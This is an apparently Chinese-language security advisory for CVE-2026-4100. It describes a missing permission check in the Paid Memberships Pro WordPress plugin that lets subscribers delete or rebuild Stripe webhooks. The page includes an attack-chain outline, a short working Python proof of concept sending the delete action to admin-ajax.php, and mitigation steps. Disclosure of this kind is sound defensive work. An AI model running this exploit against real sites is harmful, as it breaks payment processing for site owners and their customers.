IPBUF安全漏洞报告
English
CVE-2026-4100 CVSS 7.1 高危

CVE-2026-4100 Paid Memberships Pro权限绕过

披露日期: 2026-05-02

漏洞信息

漏洞编号
CVE-2026-4100
漏洞类型
权限绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Paid Memberships Pro插件

相关标签

WordPress权限绕过WebhookStripe插件漏洞

漏洞概述

WordPress Paid Memberships Pro插件在3.6.5及之前版本中存在安全漏洞。由于特定AJAX处理程序缺乏能力检查,导致权限验证缺失。经过身份验证的攻击者,仅需订阅者级别权限,即可未经授权地创建、删除或重建站点的Stripe Webhook配置。此漏洞可能导致支付处理中断、订阅同步失败、取消处理异常以及支付管理功能瘫痪,严重影响网站的商业运营。

技术细节

该漏洞的根本原因在于WordPress插件开发过程中对AJAX处理函数的权限控制不当。具体而言,Paid Memberships Pro插件中用于管理Stripe Webhook的三个核心AJAX动作——`wp_ajax_pmpro_stripe_create_webhook`、`wp_ajax_pmpro_stripe_delete_webhook`和`wp_ajax_pmpro_stripe_rebuild_webhook`——未实施严格的角色权限检查。攻击者利用此漏洞时,首先需要注册一个合法账户并登录获取认证凭证。随后,通过向`/wp-admin/admin-ajax.php`发送包含特定动作参数的POST请求,即可触发相关函数。由于缺乏校验,服务器会执行Webhook的创建或删除操作。Stripe Webhook负责通知WordPress后端关于支付状态变更的信息,一旦被恶意删除或篡改,系统将无法接收支付成功或续费的通知,导致用户付费后无法开通服务或订阅到期后无法自动扣费,造成严重的业务连续性破坏。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用WordPress并安装了Paid Memberships Pro插件,且版本低于3.6.6。
STEP 2
获取权限
攻击者在目标网站注册一个普通用户账户(如订阅者Subscriber),获取登录凭证和Cookie。
STEP 3
发送攻击请求
攻击者利用获取的Cookie,向`admin-ajax.php`发送POST请求,参数包含`action=pmpro_stripe_delete_webhook`,触发漏洞。
STEP 4
达成破坏
服务器端因未校验权限,执行删除Webhook的操作,导致Stripe支付通知中断,业务瘫痪。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's session cookie (Subscriber level) cookies = { "wordpress_logged_in_xxx": "attacker_session_cookie_here" } # Payload to delete the Stripe webhook # Vulnerable action: wp_ajax_pmpro_stripe_delete_webhook data = { "action": "pmpro_stripe_delete_webhook" } try: response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Stripe webhook has likely been deleted.") print("[+] Payment synchronization is now disrupted.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Paid Memberships Pro <= 3.6.5

防御指南

临时缓解措施
建议立即更新Paid Memberships Pro插件至修复版本。若无法立即更新,可暂时禁用该插件或阻断非管理员用户对`/wp-admin/admin-ajax.php`中特定动作的访问请求,同时检查Stripe Webhook配置确保其指向正确的端点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表